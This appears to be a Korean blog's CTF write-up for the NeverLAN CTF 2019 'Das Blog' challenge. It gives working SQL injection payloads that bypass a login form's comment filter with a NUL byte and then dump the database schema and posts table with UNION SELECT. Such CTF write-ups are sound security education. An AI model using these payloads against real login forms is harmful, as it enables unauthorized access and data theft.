Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

White Security

neverlanctf 2019 - Das Blog writeup 본문

CTF Writups

neverlanctf 2019 - Das Blog writeup

POSIX 2019. 2. 4. 18:26


Johnny 가 블로그를 개설했는데

입력을 escape 하는 방법을 모르겠다고 합니다.



링크에 접속하면

인삿말과 함께 로그인 페이지에 접속이 가능합니다.



로그인 폼은 별다를 것이 없습니다.


There was a problem when looking for user. Please try again.

Sorry, That Username / Password is incorrect.


Username에 싱글 쿼트를 삽입하면 쿼리 오류가 뜨는 듯 한데

주석을 넣기 위해 '#', '-' 등 특수문자를

삽입하면 검색오류로 바뀝니다.


이것을 보아, 쿼리 검색을 하기 전에

지정된 문자가 있는지 확인하고 있다면

검색 오류를 뿜고 바로 넘겨버리는 것이 아닌가

생각해 볼 수 있습니다.


submit=Login&Password=&Username=' or 1;%00


NUL 은 필터링 되지 않았으므로

NUL 문자를 끼워넣어 뒷 부분을 무효화 시켰습니다.


You are now logged in as Johnny with permissions admin
click here to go to the main page


그러자 로그인이 가능했고

Johnny 의 admin 권한으로 접속된 것을 확인할 수 있습니다.


submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select column_name as a,table_name as b from information_schema.columns)x;%00


데이터베이스에 존재하는

모든 테이블과 컬럼을 조회하기 위해

Death Row Injection 기법을 사용 하였습니다.


조금 더 번거롭겠지만

limit 0, 1 등의 방법으로 시도하셔도 무관합니다.


submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select title a,content as b from posts)x;%00


posts 테이블 내의 컬럼 내에서 플래그를 발견할 수 있었습니다.


Comments